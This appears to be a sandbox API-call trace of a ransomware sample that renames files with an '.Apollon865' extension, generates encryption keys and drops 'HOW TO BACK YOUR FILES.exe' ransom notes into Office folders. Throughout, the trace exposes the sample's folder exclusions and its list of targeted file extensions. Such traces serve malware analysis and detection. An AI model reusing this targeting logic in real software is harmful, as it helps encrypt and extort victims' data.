	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0076.272] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0076.272] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.272] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUISet.XML") returned 109
	[0076.272] lstrcpyW (in: lpString1=0x2d3e60a, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0076.272] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.272] lstrlenW (lpString="Apollon865") returned 10
	[0076.272] lstrlenW (lpString=".dll") returned 4
	[0076.273] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0076.273] lstrlenW (lpString=".lnk") returned 4
	[0076.273] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0076.273] lstrlenW (lpString=".ini") returned 4
	[0076.273] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0076.273] lstrlenW (lpString=".sys") returned 4
	[0076.273] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0076.273] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.273] lstrlenW (lpString="bak") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.273] lstrlenW (lpString="ba_") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.273] lstrlenW (lpString="dbb") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.273] lstrlenW (lpString="vmdk") returned 4
	[0076.273] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.273] lstrlenW (lpString="rar") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.273] lstrlenW (lpString="zip") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.273] lstrlenW (lpString="tgz") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.273] lstrlenW (lpString="vbox") returned 4
	[0076.273] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.273] lstrlenW (lpString="vdi") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.273] lstrlenW (lpString="vhd") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.273] lstrlenW (lpString="vhdx") returned 4
	[0076.273] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.273] lstrlenW (lpString="avhd") returned 4
	[0076.273] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.273] lstrlenW (lpString="db") returned 2
	[0076.273] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.273] lstrlenW (lpString="db2") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.273] lstrlenW (lpString="db3") returned 3
	[0076.273] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.273] lstrlenW (lpString="dbf") returned 3
	[0076.274] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.274] lstrlenW (lpString="mdf") returned 3
	[0076.274] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.274] lstrlenW (lpString="mdb") returned 3
	[0076.274] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.274] lstrlenW (lpString="sql") returned 3
	[0076.274] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.274] lstrlenW (lpString="sqlite") returned 6
	[0076.274] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0076.274] lstrlenW (lpString="sqlite3") returned 7
	[0076.274] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0076.274] lstrlenW (lpString="sqlitedb") returned 8
	[0076.274] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0076.274] lstrlenW (lpString="xml") returned 3
	[0076.274] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.274] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.Apollon865") returned 113
	[0076.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.275] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.275] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2624) returned 1
	[0076.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.275] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.276] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.276] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.276] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.276] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd40, lpName=0x0) returned 0x118
	[0076.278] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xd40) returned 0x100000
	[0076.278] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.279] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.279] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.279] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0076.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0076.279] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.279] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.280] CloseHandle (hObject=0x118) returned 1
	[0076.280] CloseHandle (hObject=0x15c) returned 1
	[0076.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.280] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.280] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.280] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0076.280] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures"
	[0076.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0076.280] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0076.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures") returned 64
	[0076.280] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures"
	[0076.280] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.280] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\cultures\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.284] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.284] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x45899650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45899650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.284] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.284] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.285] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.286] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xceefecc0, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x45899650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x45899650, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.286] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.286] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.286] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.286] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.286] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45899650, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x45899650, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.286] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.286] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7cbc7d00, ftCreationTime.dwHighDateTime=0x1cbe3e3, ftLastAccessTime.dwLowDateTime=0xcef24e20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x7cbc7d00, ftLastWriteTime.dwHighDateTime=0x1cbe3e3, nFileSizeHigh=0x0, nFileSizeLow=0x419360, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OFFICE.ODF", cAlternateFileName="")) returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="Apollon865.txt.exe") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2=".") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="..") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="windows") returned -1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="bootmgr") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="temp") returned -1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="pagefile.sys") returned -1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="boot") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="ids.txt") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="ntuser.dat") returned 1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="perflogs") returned -1
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2="MSBuild") returned 1
	[0076.287] lstrlenW (lpString="OFFICE.ODF") returned 10
	[0076.287] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Cultures\\*") returned 66
	[0076.287] lstrcpyW (in: lpString1=0x2d3e5d2, lpString2="OFFICE.ODF" | out: lpString1="OFFICE.ODF") returned="OFFICE.ODF"
	[0076.287] lstrlenW (lpString="OFFICE.ODF") returned 10
	[0076.287] lstrlenW (lpString="Apollon865") returned 10
	[0076.287] lstrlenW (lpString=".dll") returned 4
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2=".dll") returned 1
	[0076.287] lstrlenW (lpString=".lnk") returned 4
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2=".lnk") returned 1
	[0076.287] lstrlenW (lpString=".ini") returned 4
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2=".ini") returned 1
	[0076.287] lstrlenW (lpString=".sys") returned 4
	[0076.287] lstrcmpiW (lpString1="OFFICE.ODF", lpString2=".sys") returned 1
	[0076.287] lstrlenW (lpString="OFFICE.ODF") returned 10
	[0076.287] lstrlenW (lpString="bak") returned 3
	[0076.287] lstrcmpiW (lpString1="ODF", lpString2="bak") returned 1
	[0076.287] lstrlenW (lpString="ba_") returned 3
	[0076.287] lstrcmpiW (lpString1="ODF", lpString2="ba_") returned 1
	[0076.287] lstrlenW (lpString="dbb") returned 3
	[0076.287] lstrcmpiW (lpString1="ODF", lpString2="dbb") returned 1
	[0076.287] lstrlenW (lpString="vmdk") returned 4
	[0076.287] lstrcmpiW (lpString1=".ODF", lpString2="vmdk") returned -1
	[0076.288] lstrlenW (lpString="rar") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="rar") returned -1
	[0076.288] lstrlenW (lpString="zip") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="zip") returned -1
	[0076.288] lstrlenW (lpString="tgz") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="tgz") returned -1
	[0076.288] lstrlenW (lpString="vbox") returned 4
	[0076.288] lstrcmpiW (lpString1=".ODF", lpString2="vbox") returned -1
	[0076.288] lstrlenW (lpString="vdi") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="vdi") returned -1
	[0076.288] lstrlenW (lpString="vhd") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="vhd") returned -1
	[0076.288] lstrlenW (lpString="vhdx") returned 4
	[0076.288] lstrcmpiW (lpString1=".ODF", lpString2="vhdx") returned -1
	[0076.288] lstrlenW (lpString="avhd") returned 4
	[0076.288] lstrcmpiW (lpString1=".ODF", lpString2="avhd") returned -1
	[0076.288] lstrlenW (lpString="db") returned 2
	[0076.288] lstrcmpiW (lpString1="DF", lpString2="db") returned 1
	[0076.288] lstrlenW (lpString="db2") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="db2") returned 1
	[0076.288] lstrlenW (lpString="db3") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="db3") returned 1
	[0076.288] lstrlenW (lpString="dbf") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="dbf") returned 1
	[0076.288] lstrlenW (lpString="mdf") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="mdf") returned 1
	[0076.288] lstrlenW (lpString="mdb") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="mdb") returned 1
	[0076.288] lstrlenW (lpString="sql") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="sql") returned -1
	[0076.288] lstrlenW (lpString="sqlite") returned 6
	[0076.288] lstrcmpiW (lpString1="CE.ODF", lpString2="sqlite") returned -1
	[0076.288] lstrlenW (lpString="sqlite3") returned 7
	[0076.288] lstrcmpiW (lpString1="ICE.ODF", lpString2="sqlite3") returned -1
	[0076.288] lstrlenW (lpString="sqlitedb") returned 8
	[0076.288] lstrcmpiW (lpString1="FICE.ODF", lpString2="sqlitedb") returned -1
	[0076.288] lstrlenW (lpString="xml") returned 3
	[0076.288] lstrcmpiW (lpString1="ODF", lpString2="xml") returned -1
	[0076.288] lstrlenW (lpString="$er") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="$er") returned 1
	[0076.289] lstrlenW (lpString="4dd") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="4dd") returned 1
	[0076.289] lstrlenW (lpString="4dl") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="4dl") returned 1
	[0076.289] lstrlenW (lpString="^^^") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="^^^") returned 1
	[0076.289] lstrlenW (lpString="abs") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="abs") returned 1
	[0076.289] lstrlenW (lpString="abx") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="abx") returned 1
	[0076.289] lstrlenW (lpString="accdb") returned 5
	[0076.289] lstrcmpiW (lpString1="E.ODF", lpString2="accdb") returned 1
	[0076.289] lstrlenW (lpString="accdc") returned 5
	[0076.289] lstrcmpiW (lpString1="E.ODF", lpString2="accdc") returned 1
	[0076.289] lstrlenW (lpString="accde") returned 5
	[0076.289] lstrcmpiW (lpString1="E.ODF", lpString2="accde") returned 1
	[0076.289] lstrlenW (lpString="accdr") returned 5
	[0076.289] lstrcmpiW (lpString1="E.ODF", lpString2="accdr") returned 1
	[0076.289] lstrlenW (lpString="accdt") returned 5
	[0076.289] lstrcmpiW (lpString1="E.ODF", lpString2="accdt") returned 1
	[0076.289] lstrlenW (lpString="accdw") returned 5
	[0076.289] lstrcmpiW (lpString1="E.ODF", lpString2="accdw") returned 1
	[0076.289] lstrlenW (lpString="accft") returned 5
	[0076.289] lstrcmpiW (lpString1="E.ODF", lpString2="accft") returned 1
	[0076.289] lstrlenW (lpString="adb") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="adb") returned 1
	[0076.289] lstrlenW (lpString="adb") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="adb") returned 1
	[0076.289] lstrlenW (lpString="ade") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="ade") returned 1
	[0076.289] lstrlenW (lpString="adf") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="adf") returned 1
	[0076.289] lstrlenW (lpString="adn") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="adn") returned 1
	[0076.289] lstrlenW (lpString="adp") returned 3
	[0076.289] lstrcmpiW (lpString1="ODF", lpString2="adp") returned 1
	[0076.290] lstrlenW (lpString="alf") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="alf") returned 1
	[0076.290] lstrlenW (lpString="ask") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="ask") returned 1
	[0076.290] lstrlenW (lpString="btr") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="btr") returned 1
	[0076.290] lstrlenW (lpString="cat") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="cat") returned 1
	[0076.290] lstrlenW (lpString="cdb") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="cdb") returned 1
	[0076.290] lstrlenW (lpString="ckp") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="ckp") returned 1
	[0076.290] lstrlenW (lpString="cma") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="cma") returned 1
	[0076.290] lstrlenW (lpString="cpd") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="cpd") returned 1
	[0076.290] lstrlenW (lpString="dacpac") returned 6
	[0076.290] lstrcmpiW (lpString1="CE.ODF", lpString2="dacpac") returned -1
	[0076.290] lstrlenW (lpString="dad") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="dad") returned 1
	[0076.290] lstrlenW (lpString="dadiagrams") returned 10
	[0076.290] lstrlenW (lpString="daschema") returned 8
	[0076.290] lstrcmpiW (lpString1="FICE.ODF", lpString2="daschema") returned 1
	[0076.290] lstrlenW (lpString="db-journal") returned 10
	[0076.290] lstrlenW (lpString="db-shm") returned 6
	[0076.290] lstrcmpiW (lpString1="CE.ODF", lpString2="db-shm") returned -1
	[0076.290] lstrlenW (lpString="db-wal") returned 6
	[0076.290] lstrcmpiW (lpString1="CE.ODF", lpString2="db-wal") returned -1
	[0076.290] lstrlenW (lpString="dbc") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="dbc") returned 1
	[0076.290] lstrlenW (lpString="dbs") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="dbs") returned 1
	[0076.290] lstrlenW (lpString="dbt") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="dbt") returned 1
	[0076.290] lstrlenW (lpString="dbv") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="dbv") returned 1
	[0076.290] lstrlenW (lpString="dbx") returned 3
	[0076.290] lstrcmpiW (lpString1="ODF", lpString2="dbx") returned 1
	[0076.291] lstrlenW (lpString="dcb") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dcb") returned 1
	[0076.291] lstrlenW (lpString="dct") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dct") returned 1
	[0076.291] lstrlenW (lpString="dcx") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dcx") returned 1
	[0076.291] lstrlenW (lpString="ddl") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="ddl") returned 1
	[0076.291] lstrlenW (lpString="dlis") returned 4
	[0076.291] lstrcmpiW (lpString1=".ODF", lpString2="dlis") returned -1
	[0076.291] lstrlenW (lpString="dp1") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dp1") returned 1
	[0076.291] lstrlenW (lpString="dqy") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dqy") returned 1
	[0076.291] lstrlenW (lpString="dsk") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dsk") returned 1
	[0076.291] lstrlenW (lpString="dsn") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dsn") returned 1
	[0076.291] lstrlenW (lpString="dtsx") returned 4
	[0076.291] lstrcmpiW (lpString1=".ODF", lpString2="dtsx") returned -1
	[0076.291] lstrlenW (lpString="dxl") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="dxl") returned 1
	[0076.291] lstrlenW (lpString="eco") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="eco") returned 1
	[0076.291] lstrlenW (lpString="ecx") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="ecx") returned 1
	[0076.291] lstrlenW (lpString="edb") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="edb") returned 1
	[0076.291] lstrlenW (lpString="epim") returned 4
	[0076.291] lstrcmpiW (lpString1=".ODF", lpString2="epim") returned -1
	[0076.291] lstrlenW (lpString="fcd") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="fcd") returned 1
	[0076.291] lstrlenW (lpString="fdb") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="fdb") returned 1
	[0076.291] lstrlenW (lpString="fic") returned 3
	[0076.291] lstrcmpiW (lpString1="ODF", lpString2="fic") returned 1
	[0076.291] lstrlenW (lpString="flexolibrary") returned 12
	[0076.291] lstrlenW (lpString="fm5") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fm5") returned 1
	[0076.292] lstrlenW (lpString="fmp") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fmp") returned 1
	[0076.292] lstrlenW (lpString="fmp12") returned 5
	[0076.292] lstrcmpiW (lpString1="E.ODF", lpString2="fmp12") returned -1
	[0076.292] lstrlenW (lpString="fmpsl") returned 5
	[0076.292] lstrcmpiW (lpString1="E.ODF", lpString2="fmpsl") returned -1
	[0076.292] lstrlenW (lpString="fol") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fol") returned 1
	[0076.292] lstrlenW (lpString="fp3") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fp3") returned 1
	[0076.292] lstrlenW (lpString="fp4") returned 3
	[0076.292] lstrcmpiW (lpString1="ODF", lpString2="fp4") returned 1
